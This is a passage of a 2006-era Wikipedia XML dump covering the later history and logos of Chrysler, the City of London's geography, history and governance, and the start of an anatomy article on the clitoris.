In the 1930s, the company introduced the [[Chrysler Airflow]], featuring an advanced streamlined body which was among the first to be designed according to scientific [[aerodynamics|aerodynamic]] principles. Chrysler also created the industry's first [[wind tunnel]] to develop them. Unfortunately, it was not well accepted by the public, and it was the humble Dodge and Plymouth divisions, which had not been given an Airflow model, which pulled the firm through the [[Great Depression|Depression]] years with its conventional but quite popular bodystyles. It was during this decade that the company created a formal parts division under the '''Mopar''' ('''Mo'''tor '''Par'''ts) brand, with the result that Chrysler products are still often called Mopars.

The unsuccessful Airflow had a chilling effect on Chrysler styling and marketing, which remained determinedly unadventurous through the 1940s and into the 1950s, with the single exception of the installation of hidden headlights on the very brief production run of the 1942 DeSotos. Engineering advances continued however, and in 1951 the firm introduced the first of a long and famous series of [[Hemi]] [[V8]]s. In 1955, things brightened after the questionable designs of the 1953 and 1954 Chryslers with the introduction of [[Virgil Exner]]'s successful ''Forward Look'' style. With these cars, Chrysler seized the industry's design leadership and produced several genuine classics, most notably the 1956 [[Plymouth Fury]] and the 1957 [[Chrysler 300C]]. With the inauguration of the second generation Forward Look cars for 1957, Torshion-Aire was introduced. This was not air suspension, but an indirect-acting-torsion-spring suspension system which drastically reduced unsprung weight and shifted the car's center of gravity downward and rearward, resulting in both a smoother ride and significantly improved handling. However, a rush to production led to quality-control problems (mostly related to body fitment and rust), and coupled with a national recession, soon the company was once again in financial recovery mode.  

As the 1960s opened, the firm made both good and bad moves. In 1960, Chrysler introduced unibody construction in its cars, the first to offer it of the [[Big Three]], across the board, excepting the Imperial. This gave the body more rigidity and less rattles and would soon become an industry standard. Its new compact line, the [[Valiant]], opened strong and continued to gain market share for well over a decade. Valiant was introduced as a division of its own but would become adopted by Plymouth in 1961. [[Alternator]]s would replace [[generator]]s in the 1960 Valiant and then all of the 1961 models as standard equipment, an industry first. The DeSoto marque was axed after the introduction of the 1961 models due in part to the broad array of the Dodge lines being marketed. Plymouth would also suffer in the long run for Dodge creeping into Plymouth's price range. An ill-advised downsizing of the full-size Dodge and Plymouth lines in 1962 hurt sales and profitability for several years. 

In April 1964, the [[Plymouth Barracuda]], which was technically a Valiant sub-series, was introduced. The huge glass rear window gave the impression of a [[hatchback]] with its &quot;love-it-or-hate-it&quot; styling. Beating the [[Ford Mustang]] to the market by almost two weeks, it could be argued that the Barracuda was really the first [[pony car]]. However, unlike the Mustang, it did not rob sales of other division's models. In spite of better build quality than the Mustang, the Mustang still outsold the Barracuda 10-to-1 between April 1964 and August 1965. 

In 1966, Chrysler expanded into Europe, by taking over the British [[Rootes|Rootes Group]], and [[Simca]] of France to form [[Chrysler Europe]]. The former purchase unfortunately turned out to be a major mistake for the company, inheriting a major industrial relations problem which afflicted the British motor industry at the time, coupled to the archaic factories and outdated product range that Rootes manufactured. Chrysler retired all of the Rootes marques in favor of the Chrysler name. The Simca division was more successful, but in the end the various problems were overwhelming and the firm gained little from these ventures. 

More successfully, at this same time the company helped create the [[muscle car]] market in the U.S., first by producing a street version of its Hemi racing engine and then by introducing a legendary string of affordable but high-performance vehicles such as the [[Plymouth GTX]], [[Plymouth Road Runner]], and [[Dodge Charger]]. The racing success of several of these models on the [[NASCAR]] circuit burnished the company's reputation for engineering.

The 1970s brought both success and crisis. The aging but stalwart compacts saw a rush of sales as demand for smaller cars crested after the first gas crisis of 1973. However, an expensive investment in an all-new full-size lineup went largely to waste as the new 1974 vehicles appeared almost precisely as [[gasoline]] prices reached a peak and large-car sales collapsed; that same year marked the end of Barracuda production — 10 years to the day. At mid-decade, the company scored a conspicuous success with its first entry in the [[personal luxury car]] market, the [[Chrysler Cordoba]]. However, the introduction of the [[Dodge Aspen]]/[[Plymouth Volare]] twins in 1976 did not repeat the success of the discontinued Valiant/[[Dodge Dart]] line, and the company had delayed in producing an entry in the now all-important subcompact market. Problems were mutliplying abroad as well, as Chrysler Europe essentially collapsed in 1977. It was offloaded to [[Peugeot]] the following year, ironically just after having helped design the new [[Plymouth Horizon]] and [[Dodge Omni]], on which the increasingly-desperate company was pinning its hopes. Shortly thereafter, [[Chrysler Australia]], which was now producing a [[badge engineering|rebadged]] [[Japan]]ese [[Mitsubishi Galant]], was sold to [[Mitsubishi Motors]]. The subcompact Horizon was just beginning to reach the U.S. market when the second gas crisis struck, devastating sales of Chrysler's larger cars and trucks, and the company now had no strong compact line to fall back on.

In desperation, the Chrysler Corporation on [[September 7]], [[1979]], petitioned the United States government for [[US dollar|US$]]1 [[billion]] in loan guarantees to avoid [[bankruptcy]]. At the same time, [[Lee Iacocca]], a former [[Ford Motor Company|Ford]] executive, was brought in to take the position of [[Chief executive officer|CEO]], and proved a capable public spokesman for the firm. A somewhat reluctant Congress passed the &quot;Chrysler Corporation Loan Guarantee Act of 1979&quot; (Public Law 96-185) on December 20, 1979 (signed into law by President [[Jimmy Carter]] on January 7, 1980), prodded by Chrysler workers and dealers in every congressional district who feared the loss of their livelihoods. With such help and a few innovative cars (such as the [[Chrysler K platform|K-car]] platform), especially the invention of the [[minivan]] concept, a market where Chrysler brands are still important, Chrysler avoided bankruptcy and slowly fought its way back up. By the early 1980s, the loans were being repaid at a brisk pace and new models based on the K-car platform were selling well. A [[joint venture]] with Mitsubishi called [[Diamond Star Motors]] strengthened the company's hand in the small-car market. The acquisition of [[American Motors|AMC]] by Chrysler in 1987, mostly for its [[Jeep]] brand, bolstered the firm further, although Chrysler was still the weakest of the Big Three American auto makers. 

In the early 1990s, Chrysler made its first tentative steps back into Europe, setting up car production in [[Austria]], and beginning right-hand drive manufacture of certain Jeep models in a 1993 return to the [[UK]] market. The continuing popularity of Jeep, bold new models for the domestic market such as the [[Dodge Ram]] pickup, [[Dodge Viper]] sports car, and [[Plymouth Prowler]] hot rod, and new &quot;cab forward&quot; [[front wheel drive]] sedans put the company in a strong position as the decade waned.

===Daimler-Benz merger===
{{npov}}
Chrysler merged in 1998 with [[Daimler-Benz]] to form DaimlerChrysler AG. This was initially touted as a ''merger of equals'', but within a couple of years the truth was evident; it was effectively a buyout of Chrysler by Daimler-Benz, with the latter very much the dominant partner. As if on cue, the company went into another of its financial tailspins soon after the merger, greatly depressing the stock price of the merged firm and causing serious alarm at headquarters in Germany, which sent new CEO Jurgen Schremp to take charge. The Plymouth brand was phased out in 2001 and plans for cost-cutting by sharing of platforms and components began. The strongly Mercedes-influenced [[Chrysler Crossfire]] was one of the first results of this program. A return to [[rear wheel drive]] was announced, and in 2004, a new [[Chrysler 300]] using this technology and a new Hemi V8 appeared and became a solid hit. Ironically, by most standards, Dodge, Jeep, and Chrysler vehicles have surpassed the parent Mercedes in quality. Financial performance began to improve somewhat, with Chrysler now providing the lion's share of DCX profits, but the long-standing partnership with Mitsubishi appeared to be unraveling as DaimlerChrysler divested its stake in that firm.

On [[April 7]], [[2005]], a conclusion was announced by U.S. District Judge Joseph Farnan Jr. presiding over a bench trial in [[Wilmington, Delaware]] between Kirk Kerkorian and DaimlerChrysler AG regarding allegations that [[Jürgen Schrempp]] of Daimler Benz AG, prior to the 1998 merger, lied and manipulated the Security Exchange Commission and Chrysler Corporation's shareholders (the largest of which was Kirk Kerkorian's Tracinda Corporation) by touting the 1998 merger as a merger of equals, and not an outright acquisition. The judge was found to be in favor of DaimlerChrysler's position by rejecting Kerkorian's case. However, another case (based on the same merit) was settled in 2003 for $300 million to other shareholders. The Kerkorian case called for many more causes of action that undoubtedly needed to be carefully dealt with and took over one year to decide on.

==Logos==
[[Image:Logo pentastar.gif|right|Pentastar]]
The design shown at the top of the page is an adaptation of the original winged logo which Chrysler used on its cars at its inception in 1925. The logo was revived for the Chrysler division in the mid-1990s, and was surrounded by a pair of silver wings after the Daimler-Benz merger in 1998. 

In 1963, the company had switched over to a star design which became known as the '''Pentastar''' (right) and was extensively used on dealer signage, advertisements, and promotional brochures. Contrary to popular belief, it was not designed to symbolize the five divisions of the corporation at the time, Plymouth, Dodge, Chrysler, Imperial and Dodge Truck. By 1963 there were only two auto divisions in the United States, Chrysler-Plymouth and Dodge. As well there were over a dozen other divisions in the Chrysler Corporation family, and management were after a symbol that all divisions could use.

Then Chrysler head Lynn Townsend was looking for a symbol that could be used by all divisions, on packaging, stationery, signage, advertising, etc. He wanted something that would be universally recognizable as &quot;Chrysler&quot; to anyone who saw it, from any perspective, from any culture. Chrysler's trademark symbol, the pentastar, was simple and easily recognizable from any perspective, even in motion on revolving signs. The symbol also facilitated Chrysler's expansion in the international market by removing the need to translate any text that is commonly used on logos.

Thus all divisions of Chrysler adopted the Pentastar.  All car brands (Valiant, Plymouth, Dodge, Chrysler, Imperial, Hillman, Humber, Sunbeam, Singer, Simca), truck brands (Fargo, DeSoto, Dodge, Commer, Karrier), and all the other Chrysler divisions (air conditioning systems, heating, industrial engines, marine engines, outboard motors, boats, transmissions, [[four wheel drive]] systems, powdered metal products, adhesives, chemical products, plastics, electronics, tanks, missiles) and services (leasing and finance) were identified by the Pentastar. It united the firm's various products and services in the public's eye as no other auto firm has done.

The Pentastar appeared consistently but inconspicuously on the lower passenger-side fender of all Chrysler products, including foreign brands from 1964-71. It was placed on the passenger-side fender so it could be viewed by passers-by, a subtle method of getting the symbol ingrained in the public's mind. A nameplate has to be read, but a symbol is recognizable even to the illiterate. Thus North American and French cars had the Pentastar on the right fender and British on the left. The practice was revived in the 1990's. Beginning in 1981, the Pentastar replaced individual logos that had been used by Plymouth, Dodge and Chrysler and had in some cases identfied individual models, such as the [[Chrysler New Yorker]] in uses such as hood ornaments and decklid badges. 

By 1993, Chrysler started to phase out the Pentastar, with Dodge getting its own &quot;Ram&quot; logo, and by 1995, Chrysler revived the rosette symbol it had used prior to the Pentastar; Plymouth was given a new sailboat logo. The Pentastar's last badging appearance was on the [[steering wheel]] and keys of the [[Chrysler minivans]] produced from 1996 through 2000.

Currently the only remaining traces of this motif are a large, star-shaped window at DaimlerChrysler's American headquarters in [[Auburn Hills, Michigan]], and '''Pentastar Aviation''', a former DaimlerChrysler subsidiary which reverted to its original name after being purchased, ironically, by a member of the Ford family. It is also likely that many dealerships still have signage and other traces still visually apparent to the Pentastar. Today, glass on Chrysler Group cars and trucks still have the Pentastar on them, however, its days appear to be numbered.

==See also==
* [[List of Chrysler vehicles]]
* [[List of automobile manufacturers]]

==External links==
* [http://www.chrysler.com/ Chrysler Official brand site]
* [http://chryslergroup.daimlerchrysler.com/ Chrysler Group corporate Official site]
* [http://www.daimlerchrysler.com/ DaimlerChrysler Official site]
* [http://www.chryslerheritage.com/pg500.htm History @ the Walter P. Chrysler Museum]
* [http://www.stockmopar.com Stock Mopar]
* [http://vintagecars.about.com/cs/americanclassics/a/dc_airflow.htm Chrysler Airflow article]
* [http://www.allpar.com/ Allpar.com ~ The web's best Mopar enthusiast site, devoted to all Chrysler products new and old]
* [http://www.histomobile.com/histomob/presmark.asp?chat=257&amp;lan=2 An account of Chrysler's adventures in the European market]
* [http://pentastar.free.fr/ Site for Simca/Chrysler France products]
* [http://www.chrysler.com/design/vehicle_design/ Design gallery page at Chrysler.com]
* [http://www.1962to1965mopar.ornocar.com/pentastar.html Birth of the Pentastar]
* [http://www.thecarconnection.com/index.asp?n=156,175&amp;sid=175&amp;article=1215 End of the Pentastar]
* [http://www.thehemi.com/ Chrysler's Infamous Hemi]
* [http://chrysler.naszapaczka.com/ Chrysler Gallery]

==References==
&quot;Why Chrysler Changed Its Corporate Identity&quot;. ''Ward's Quarterly'', Powers &amp; Company, Inc. Detroit, Michigan, Winter, 1965.

Chrysler's foray into the Japanese market — its challenges and successes — is documented in [[Terry Sanders]]' film ''The Japan Project: Made in America''.

{{DaimlerChrysler}}

[[Category:1925 establishments]]
[[Category:Car companies of the United States]]
[[Category:Chrysler]]
[[Category:DaimlerChrysler]]

[[de:Chrysler Corporation]]
[[fr:Chrysler]]
[[hr:Chrysler]]
[[ja:クライスラー]]
[[nl:Chrysler]]
[[no:Chrysler]]
[[pl:Chrysler]]
[[sv:Chrysler Corporation]]
[[zh:克莱斯勒汽车公司]]</text>
    </revision>
  </page>
  <page>
    <title>City of London</title>
    <id>6883</id>
    <revision>
      <id>41616225</id>
      <timestamp>2006-02-28T15:16:48Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">: ''For London as a whole, see the main article '''[[London]]'''.''
: ''For wider coverage, visit the [[Portal:London|'''London Portal''']].''
{{ Infobox London Borough | 
   name               = City of London |
   short_name         = City |
   imagename          = Image:LondonCity.png |
   status             = ''[[sui generis]]'', [[City status in the United Kingdom|City]] and [[Ceremonial counties of England|Ceremonial County]] | 
   area_rank          = 354th |
   area_km2           = 2.6 |
   area_link          = 1 E6 m² |
   ons_code           = 00AA | 
   population_rank    = 353rd |
   population_year    = 2004 |
   population_total   = 8,600 |
   population_density = 2,966 | 
   ethnicity          = 84.6% White&lt;br&gt;6.8% [[British Asian|South Asian]]&lt;br&gt;2.6% [[British Afro-Caribbean community|Afro-Caribbean]]&lt;br&gt;2.0% [[British Chinese|Chinese]] |
   url                = http://www.cityoflondon.gov.uk |
   leadership         = ''See text'' |
   mayor              = David Brewer CMG |
   executive          = Non-political |
   mps                = [[Mark Field]] |
   gla_constituency   = City and East London |
   gla_member         = [[John Biggs]]
}}
The '''[[city status in the United Kingdom|City]] of London''' is a small area in [[Greater London]]. The modern [[conurbation]] of [[London]] developed from the City of London and the nearby [[City of Westminster]], which was the centre of the royal government. The City of London is now London's main financial district. It is often referred to as just '''the City''' or as the '''Square Mile''', as it is approximately one square mile (2.6 square kilometres) in area; note that these terms are also often used as synonyms for the UK financial services industry, which is principally based there.  In the [[medieval]] period the City was the full extent of London (as distinct from the nearby but then-separate [[City of Westminster]]), but the term London now refers to a much larger [[conurbation]] containing both 'cities'. The City of London is still part of London's [[city centre]], but apart from financial services, most of London's metropolitan functions are centred on the [[West End of London|West End]]. The City of London has a resident population of under 9,000 but a daily working population of around 300,000. 

The City itself has two independent [[enclave]]s within it — [[Inner Temple]] and [[Middle Temple]]. These two areas form part of the City and Ceremonial county, but are not governed by the [[Corporation of London]]. The Corporation governs the rest of the City and also owns various open spaces (parks, forests and commons) in and around London.

Its [[Latin]] motto is &quot;''Domine dirige nos''&quot; which means &quot;''Lord, direct us''&quot;.


==Extent==
The size of the City was originally constrained by a defensive perimeter wall, known as '[[London Wall]]’, which was built by the Romans to protect their strategic port city.   However, the boundaries of the City of London are no longer the old City Wall  as the city expanded its jurisdiction to the so-called City Bars — such as [[Temple Bar London|Temple Bar]].  The boundary froze in the medieval period, thus the City did not and does not control the whole of London.

The walls have long since disappeared although several sections remain visible above ground.  A section near the [[Museum of London]] was revealed after the devastation of an air-raid on [[29 December]] [[1940]] at the height of the [[The Blitz|Blitz]].  Other visible sections are at [[St Alphage]], [[London Wall]], and there are two sections near the [[Tower of London]].
[[Image:050114 2495 london city.jpg|thumb|right|275px|The eastern side of the City of London viewed from [[St. Pauls Cathedral]]. [[Canary Wharf]] is on the horizon.]]
The City of London borders the [[City of Westminster]] to the west — the border cutting through [[Victoria Embankment]], passing to the west of [[Middle Temple]], going east along [[Strand, London|Strand]] and [[Fleet Street]], north up [[Chancery Lane]], where it becomes instead the border with the [[London Borough of Camden]].  It continues north to [[Holborn]], turns east, continues, and then goes northeast to [[Charterhouse Lane]].  As it crosses [[Farringdon Road]] it becomes the border with the [[London Borough of Islington]].  It continues to [[Aldersgate]], goes north, and turns into some back streets soon after it becomes [[Goswell Road]].  It ends up on Ropemakers Lane, which as it continues east past [[Moorgate]] becomes South Place.  It goes north, becomes the border with the [[London Borough of Hackney]], then east, north, east on backstreets, meeting [[Norton Folgate]] at the border with the [[London Borough of Tower Hamlets]]. It continues south into [[Bishopsgate]], and takes some backstreets to [[Middlesex Street]] where it continues south-east then south.  It makes a divergence to the west at the end of Middlesex Street to allow the [[Tower of London]] to be in Tower Hamlets, and then reaches the river.  The boundaries of the City are marked by black bollards bearing the City's emblem. ([http://www.cityoflondon.gov.uk/Corporation/about_us/voting/wards/ward_boundaries_map.htm boundary map]). In some places the financial district extends slightly beyond the political boundaries of the City to the north and east, into the boroughs of Tower Hamlets, Hackney and Islington, and informally these locations are seen as part of the &quot;Square Mile&quot;. Since the 1990s the eastern fringe of the City, extending into Hackney and Tower Hamlets, has increasingly been a focus for large office developments due to the relatively easy availability of large sites there compared to within the City itself. 

The City of London is England's smallest [[Ceremonial counties of England|ceremonial county]] by both population and area covered and is the second smallest [[City status in the United Kingdom|British city]] in both population and size, after [[St David's]] in Wales.

At its maximum extent the City included areas now not part of it, including [[Southwark]] (as the 'ward of bridge without').  The City today controls the full spans of [[London Bridge]] and [[Blackfriars Bridge]], but only half of the river underneath them.

The City of London also owns and looks after a number of open spaces well outside its own boundaries. These are: [[Ashtead Common]], [[Burnham Beeches]], [[Epping Forest]], [[Hampstead Heath]] (including [[Parliament Hill, London|Parliament Hill]]), [[Highgate Wood]], [[Queen's Park (London)|Queen's Park]], [[West Ham Park]], and [[West Wickham and Coulsdon Common]].

==History==
: ''Main article: [[History of London]].''
{| align=right
|-
|[[image:citylondonarms.jpg|frame|[[Coat of arms]] of the City of London as shown on [[Blackfriars station]]. The [[Latin]] [[motto]] reads ''Domine Dirige Nos'', &quot;[[God]] (Lord), lead us&quot;. The red sword is commonly supposed to commemorate the killing of [[Peasants' Revolt]] leader [[Wat Tyler]] by the [[Lord Mayor of London]] [[William Walworth]] in 1381, but in fact it is the symbol of the martyrdom of [[Paul of Tarsus|Saint Paul]], London's patron saint.]]
|-
|[[Image:London Dragon.jpg|thumb|right|200px|[[Dragon]], symbol of London (commonly believed to be a [[griffin]])]]
|-
|[[Image:Temple-bar-griffin.jpg|thumb|200px|right|[[Dragon]] statue at [[Temple Bar, London|Temple Bar]] monument]]
|-
|[[image:city.of.london.st.pauls.arp.500pix.jpg|thumb|right|200px|[[St. Pauls Cathedral]] in the City of London, viewed from the [[London Millennium Bridge|Millennium Bridge]].]]
|-
|[[image:city.of.london.view.arp.750pix.jpg|thumb|right|200px|Three of the tall buildings of the City of London, seen across [[Waterloo Bridge]]: [[St. Pauls Cathedral]], [[Tower 42]] and [[The Swiss Re Tower]].]]
|-
|[[Image:DSC01905.JPG|thumb|right|200px|The City of London by night, viewed from [[Tower Bridge]].]]
|}

The area of the City of London has been administered separately since 886, when [[Alfred the Great]] appointed his son-in-law [[Earl Aethelred of Mercia|Earl Ætheldred of Mercia]] as Governor of London. Alfred made sure that there was suitable accommodation for merchants from north west Europe, which were then extended to traders from the [[Baltic Sea|Baltic]] and [[Italy]]. 

The City developed its own code of law for the mercantile classes, developing such autonomy that Sir [[Laurence Gomme]] regarded the City as a separate Kingdom making its own laws. The City was composed of wards governed by [[Alderman|Aldermen]], who chaired the Wardmotes. There was a folkmoot for the whole of the city held in the shadows of [[St Paul's Cathedral]]. In the [[10th century|tenth century]], [[Athelstan]] permitted eight [[royal mint|mints]] to be established, compared to six in his capital, [[Winchester, Hampshire|Winchester]], indicating the wealth of the city.

Following the [[Battle of Hastings]], [[William I of England|William the Conqueror]] marched on London, to [[Southwark]] and failed to get across London Bridge or to defeat the Londoners.  He eventually crossed the River Thames at [[Wallingford]], pillaging the land as he went.  Rather than continuing the war  [[Edgar Atheling|Edgar Ætheling]], [[Edwin, Earl of Mercia|Edwin of Mercia]] and [[Morcar, Earl of Northumbria|Morcar of Northumbria]] surrendered at [[Berkhamstead]]. William rewarded London in granting the citizens a charter in 1075; the City of London was one of the few institutions where the English retained some authority.

However, William insured against attack by building 3 Castles nearby so as to keep the Londoners subdued:

* [[Tower of London]]
* [[Baynard's Castle]]
* [[Montfichet's Castle]]

In 1132, [[Henry I of England|Henry I]] recognised full [[county borough|County]] status for the City, and by 1141 the whole body of the [[citizen]]ry was considered to constitute a single community. This was the origin of the [[Corporation of London]].

The City burned nearly to the ground twice, first in 1212 and then again (and more famously) in the [[Great Fire of London]] in 1666. Both of these fires were referred to as ''the'' Great Fire.

The City elected four members to the [[unreformed House of Commons]], which it retained after the [[Reform Act 1832]] and into the 20th century.  Today it is included wholly in the [[Cities of London and Westminster]] constituency, and statute requires that it not be divided between two neighbouring areas.

The City's population fell rapidly in the 19th century and through most of 20th century as many houses were demolished to make way for office blocks. This trend has now been reversed as the Corporation is encouraging residential use, although the resident population is not expected to go much above ten thousand people. Some of the extra accommodation is in small pre [[World War II]] commercial buildings which are not suitable for occupation by the large companies which now provide much of the City's employment. The largest residential section of the City is the [[Barbican Estate]].

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|- style=&quot;background: #efefef;&quot;
! Year !! Population
|-
| 1700 || 208,000 (of which 139,000 within the walls)
|-
| 1750 || 144,000 (of which 87,000 within the walls)
|-
| 1801 || 128,129
|-
| 1841 || 123,563
|-
| 1881 || 50,569
|-
| 1901 || 26,846
|-
| 1911 || 19,657
|-
| 1921 || 13,709
|-
| 1931 || 10,999
|-
| 1951 || 5,324
|-
| 1961 || 4,767
|-
| 1971 || 4,234
|-
| 1981 || 5,300
|-
| 1991 || 5,385
|-
| 2001 || 7,185
|}

Since the 1990s, the City has diversified away from near exclusive office use in some other ways as well. For example, several hotels have opened and also the City's first [[department store]]. However, large sections of it remain very quiet at weekends, and it is quite common to find pubs and cafes closed on these days.

==Local government==
:''see also [[Corporation of London]]''
The City of London has a unique political status, a legacy of its uninterrupted integrity as a corporate city since the Anglo Saxon period and its singular relationship with the crown.  Historically its system government was not unusual, but it was not reformed by the [[Municipal Reform Act 1835]].

It is administered by the [[Corporation of London]], headed by the [[Lord Mayor of London]] (not the same post as the more recent [[Mayor of London|London Mayor]], who presides over Greater London). The City is a [[ceremonial counties of England|ceremonial county]] too, although instead of having its own [[Lord-Lieutenant]], the City of London has a Commission, headed by the Lord Mayor, exercising this function.

===Elections===
The City has a unique electoral system, which does not follow the usual rules of [[democracy]], allowing businessmen a vote and arranging voters in wards with very unequal number of voters. This is sometimes a cause of controversy.  The [[business vote]] had been abolished in other local elections in 1969, but retained in the City.

The [http://www.opsi.gov.uk/acts/locact02/20020006.htm ''City of London (Ward Elections) Act 2002 (2002 Chapter vi)''] which reformed the voting system for electing Members to the Corporation of London, received the [[Royal Assent]] on [[7 November]] [[2002]].

Under the new system, the business vote increased by 16,000 to 32,000. Previously disenfranchised firms will be entitled to nominate voters, in addition to those already included in the business vote, and will be required to choose these voters in a representative fashion. The Bill will also remove other anomalies that have developed over time within the current system, which has been unchanged since the 1850s.

This system is usually seen as undemocratic, but adopting a more conventional system would place the 7,000 residents of the City in charge of local planning for a major financial capital.  Proposals to annex the City to one of the neighbouring [[London borough]]s, possibly the [[City of Westminster]], have never been taken seriously.

===Other functions===
The City has its own independent police force, the [[City of London Police]]. The rest of Greater London is policed by the [[Metropolitan Police Service]], based at [[Scotland Yard|New Scotland Yard]].

The City of London controls three [[independent schools]] — [[City of London School]] (all male), [[City of London School for Girls]] (all female) and [[City of London Freemen's School]] (co-educational).

The City is a major patron of the arts. It oversees the [[Barbican Centre]] and subsidizes several important performing arts companies. It also takes an interest in open spaces outside its boundaries: see [[Corporation of London open spaces]].

[[Image:norton_folgate.jpg|thumb|200px|The City of London viewed from [[Norton Folgate]].]]

==Security==
The City's position as the United Kingdom's financial centre and a critical part of the country's economy, contributing about one sixth of the UK's [[gross national product]], has resulted in it becoming a terrorist target. The [[Provisional IRA]] exploded several [[bomb]]s in the City in the early 1990s. 

The area is also spoken of as a possible target for [[al-Qaeda]]. For instance, when in May 2004 the BBC's ''[[Panorama]]'' programme examined the preparedness of Britain's emergency services for a terrorist attack on the scale of [[September 11, 2001 attacks]], they simulated a chemical explosion on [[Bishopsgate]] in the east of the City.

See also [[City of London's ring of steel|City of London's &quot;Ring of Steel&quot;]] for measures that have been taken against these threats.

==Sights==
* [[Bank of England]]
* [[Barbican Arts Centre]]
* [[Barbican Estate]]
* [[List of churches and cathedrals of London|Churches and cathedrals]]
** [[St Paul's Cathedral]]
* [[City of London School]]
* [[City of London School for Girls]]
* [[Guildhall, London|Guildhall]]
* [[Inns of Court]]
** [[Inner Temple]]
** [[Middle Temple]]
* [[Lloyd's Building]]
* [[London Stone]]
* [[London Wall]]
* [[Monument to the Great Fire of London|The Monument]]
* [[Museum of London]]
* [[Newgate Prison]]
* [[Old Bailey]]
* [[Pool of London]]
* [[Royal Exchange]]
* [[Smithfield, London|Smithfield]]
* [[St Bartholomew's Hospital]]
* [[Swiss Re Tower]] (popularly known as the &quot;Gherkin&quot;)
* [[Temple Bar London|Temple Bar]]
* [[Temple of Mithras, London]]
* [[Tower of London]]
* [[Tower 42]] (formerly known as the NatWest Tower)

==Roads, streets and squares==
* [[Aldersgate]]
* [[Aldgate]]
* [[Bishopsgate]]
* [[Cheapside]]
* [[Cripplegate]]
* [[Fleet Street]]
* [[Gracechurch]]
* [[Holborn]]
* [[Ludgate]]
* [[Moorgate]]
* [[Newgate]]
* [[Threadneedle Street]]

==Transport==
The City of London transport is integrated with that of the rest of Greater London under [[Transport for London]].

===Bridges===
* [[Blackfriars Bridge]]
* [[London Bridge]]
* [[Southwark Bridge]]
* [[Tower Bridge]]
* [[London Millennium Bridge|Millennium Bridge]]

===Mainline stations===
* [[Blackfriars station]]
* [[Cannon Street station]]
* [[City Thameslink railway station]]
* [[Fenchurch Street railway station]]
* [[Liverpool Street station]]
* [[Moorgate station]]

===Underground lines and stations===
* [[Central Line]]
* [[Circle Line]]
* [[District Line]] 
* [[Northern Line]]
* [[Waterloo &amp; City Line]]

* [[Aldgate tube station]]
* [[Bank and Monument stations]]
* [[Barbican tube station]]
* [[Cannon Street station]]
* [[Chancery Lane tube station]]
* [[Liverpool Street station]]
* [[Mansion House underground station]]
* [[St. Paul's tube station]]

===DLR stations===
* [[Tower Gateway DLR station]]

===Other underground transport===
* [[London Post Office Railway]]
* [[Tower Subway]]

==See also==
* [[City of London Police]]
* [[Corporation of London]]
* [[Economy of England]]
* [[Economy of the United Kingdom]]
* [[Great Fire of London]]
* [[History of London|The History of London]]
* [[Livery Company]]
* [[Lord Mayor of London]]
* [[Port of London]]
* [[Tall buildings in London]]
* [[Smallest cities in Britain]]

==External links==
;Official websites
:*[http://www.cityoflondon.gov.uk/ Corporation of London], the City of London government website
:*[http://www.museumoflondon.org.uk/ Museum of London]

;General city information
:*[http://citymayors.com/government/london_corp.html CityMayors.com profile of Corporation]
:*[http://london.visittown.com/ London, VisitTown.com]

;Maps, photos, and other images
:*Corporation of London: [http://www.cityoflondon.gov.uk/Corporation/about_us/voting/wards/ward_boundaries_map.htm Ward boundaries map]
:*[http://www.streetmap.co.uk/newmap.srf?x=532750&amp;y=180750&amp;z=2&amp;sv=532750,180750&amp;st=4&amp;ar=N&amp;mapp=newmap.srf&amp;searchp=newsearch.srf Street map] — the boundary is shown in mauve-grey, and is easiest to pick up in the river. Click the arrow on the left for the western and northern most parts of the City of London. 

;Blogs
:*[http://inthesquaremile.com City of London — In the Square Mile], an insider's view of the City including resources, historical articles and commentary. 

{{London}}

&lt;!-- space between boxes --&gt;&amp;nbsp;
{{England counties}}
{{English Cities}}

[[Category:City of London| ]]
[[Category:Districts of London]]
[[Category:London Government]]
[[Category:Cities in England|London, City of]]
[[Category:Financial districts|London, City of]]
[[Category:Central business districts|London, City of]]

[[cs:City (Londýn)]]
[[de:City of London]]
[[fr:Cité de Londres]]
[[he:הסיטי של לונדון]]
[[it:City of London]]
[[nl:City of London]]
[[ja:シティ・オブ・ロンドン]]
[[no:City of London]]
[[pl:City of London]]
[[pt:City of London]]
[[ro:City of London]]
[[simple:City of London]]
[[fi:Lontoon City]]
[[sv:City of London]]</text>
    </revision>
  </page>
  <page>
    <title>Clitoris</title>
    <id>6884</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42024502</id>
      <timestamp>2006-03-03T07:49:01Z</timestamp>
      <contributor>
        <username>Sonjaaa</username>
        <id>56593</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Fem isa 2.gif|thumb|350px|{{{demo}}}|A woman's clitoris extends from the visible portion to a point below the pubic bone.]]

The '''clitoris''' (plural: ''clitorides'') is a [[sex organ|sexual organ]] in the body of [[female]] [[mammal]]s. The visible [[doorknob|knob]]-like portion is located near the [[anterior]] junction of the [[labia minora]], above the opening of the [[vagina]]. Unlike the [[Homology (biology)|homologous]] male organ (the [[penis]]), the clitoris does not contain the [[distal]] portion of the [[urethra]] and functions solely to induce [[sexual pleasure]]. The only known exception to this is in the [[Crocuta|Spotted Hyena]], where the [[urogenital system]] is modified so that the female urinates, mates and gives birth via an enlarged, erectile clitoris. 

The word: ''clitoris'' can be pronounced KLIHT uh rihs ({{IPA|['kl&amp;#618;t&amp;#601;&amp;#633;&amp;#601;s]}} in [[International Phonetic Alphabet|IPA]] notation {{noprint|([[media:Clitoris pronunciation 1.ogg|listen]]}})) or klih TOHR ihs ({{IPA|[kl&amp;#618;'t&amp;#596;&amp;#633;&amp;#601;s]}} {{noprint|([[media:Clitoris pronunciation 2.ogg|listen]]}})). The ''[[Oxford English Dictionary|OED]]'' suggests that KLY tor ihs ({{IPA|['kla&amp;#618;t&amp;#594;&amp;#633;&amp;#618;s]}}) is also used in the [[United Kingdom|UK]].

== Development and formation ==

[[Image:Clitoris_inner_anatomy.gif|thumb|220px|The internal anatomy of the human vulva, with the clitoral hood and labia minora indicated as lines.]]
[[Image:Vulvabigopen2(english).jpg|thumb|220px|Photograph of the human vulva showing the glans clitoris. In many cases the clitoral hood completely covers the glans, as seen in the photo below.]] 
